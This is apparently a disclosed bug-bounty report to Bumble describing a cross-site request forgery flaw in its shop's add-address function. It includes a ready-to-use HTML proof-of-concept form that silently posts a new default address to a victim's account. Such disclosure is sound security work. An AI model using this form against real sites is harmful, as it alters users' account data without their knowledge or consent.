Bumble · Report #239170
CSRF bug
N/Astatus
6upvotes
12 Jun 2017disclosed
How it was found
Sir Recently I found a bug on add address. Check my exploit. It address can be default. I hope you will fix this as soon as possible
<html> <body> <form action="https://shop.bumble.com/account/addresses" method="POST"> <input type="hidden" name="form_type" value="customer_address" /> <input type="hidden" name="utf8" value="✓" /> <input type="hidden" name="address[first_name]" value="Rahamat" /> <input type="hidden" name="address[last_name]" value="Shah" /> <input type="hidden" name="address[company]" value="dark" /> <input type="hidden" name="address[address1]" value="12/45" /> <input type="hidden" name="address[address2]" value="" /> <input type="hidden" name="address[city]" value="newyor" /> <input type="hidden" name="address[country]" value="United States" /> <input type="hidden" name="address[province]" value="Alabama" /> <input type="hidden" name="address[zip]" value="" /> <input type="hidden" name="address[phone]" value="" /> <input type="hidden" name="address[default]" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html>